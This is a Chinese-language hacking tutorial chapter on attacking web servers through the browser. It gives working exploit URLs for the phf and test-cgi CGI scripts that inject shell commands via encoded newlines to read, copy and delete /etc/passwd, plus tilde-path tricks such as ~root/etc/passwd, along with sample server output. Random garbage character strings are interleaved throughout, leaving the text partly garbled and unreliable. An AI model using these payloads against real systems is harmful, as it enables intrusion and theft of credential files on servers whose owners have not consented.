在本章我將講述一些利用瀏覽器來(lái)進(jìn)行攻擊的方法3 O4 {7 B0 I5 W; \: f' G( \" R
1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用( N' p6 ^0 q4 _7 r* k2 R" b X9 S
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:/ n( y4 F1 `1 L( a' f
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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me=&Qoffice_phone=
& R' V- Y1 K$ P; @2 h fhttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
7 u/ @7 z# u6 @7 phaqr&Qemail=&Qnickname=&Qoffice_phone=
3 p& P5 B4 T4 @ F' qhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd' P/ {7 _) Y. [( e0 V0 T8 h
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
* j. {+ }$ W/ o7 {2 lhttp://thegnome.com/~someuser/passwd5 a" Y8 f. f# e
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
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=haqr&Qemail=&Qnickname=&Qoffice_phone=* U8 m$ }4 Z+ O( P7 e+ g, o: ^5 B
上面執(zhí)行的命令是
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ls -la ~someuser- C2 ~) `) |( [( h! T! v& F
cp /etc/passwd ~someuser/passwd* n8 }! c# e7 u7 }0 e
rm ~someuser/passwd
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2。有關(guān)test攻擊
* U# w. p' o& V2 K" {+ M; K. yhttp://thegnome.com/cgi-bin/test-cgi?\whatever
. D- _* [4 {% [1 F服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:, `* ]' g0 o- A1 A$ T
CGI/1.0 test script report:7 S8 W$ Y! K2 E- |. q t
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argc is 0. argv is .
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SERVER_SOFTWARE = NCSA/1.4B6 ^% ]9 ]1 u7 T7 i$ |8 h
SERVER_NAME = thegnome.com6 y4 O5 l6 B( G
GATEWAY_INTERFACE = CGI/1.1& f, ?3 P$ F3 K! o# S
SERVER_PROTOCOL = HTTP/1.0# I6 n0 x" J$ |9 ^
SERVER_PORT = 805 n* F" [; v9 I' c9 i0 }& q
REQUEST_METHOD = GET
+ w0 h# _- S( f% g1 e( F0 n* LHTTP_ACCEPT = text/plain, application/x-html, application/html, # y% C6 u) h) a% |1 j" V
text/html, text/x-html
) o, A" {8 y5 m+ iPATH_INFO =
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SCRIPT_NAME = /cgi-bin/test-cgi
& U* d7 F. F* ~$ b2 }; C9 KQUERY_STRING = whatever- C' E7 S& s* T" `
REMOTE_HOST = fifth.column.gov
/ }) W; O7 C/ h LREMOTE_ADDR = 200.200.200.200
& ?2 n1 C: e8 l, H& p4 AREMOTE_USER =
4 Q0 |: }3 z7 `0 w! g9 C+ N' iAUTH_TYPE =
0 x5 b% c2 f9 _$ qCONTENT_TYPE =
$ e8 K! M2 O7 P, K: Z8 v1 r$ ]- nCONTENT_LENGTH =
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# d4 t1 A+ C* i2 L5 X好吧,讓我們來(lái)點(diǎn)趕興趣的3 y7 I7 {- \9 z) z0 M; t% q
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd; K4 v. Y: [" v# N$ ?
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3。~的應(yīng)用+ x( R: o1 v" r& a' E9 k. p' }( q
~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~# v2 ]. e. o$ `
http://thegnome.com/~root/ P. n: p7 n2 `
http://thegnome.com/~root/etc/passwd
9 L# N) W. B2 L4 l& c4 D) M& \; O6 A( |不是在任何平臺(tái)上都通過(guò)呦,在BSD Apache上曾經(jīng)成功過(guò),當(dāng)然還可以試試~bin ,~etc,~uucp.....
m7 x, v, _7 M1 t; F2 U看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin0 L9 }2 @$ j* X, U( u
出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞
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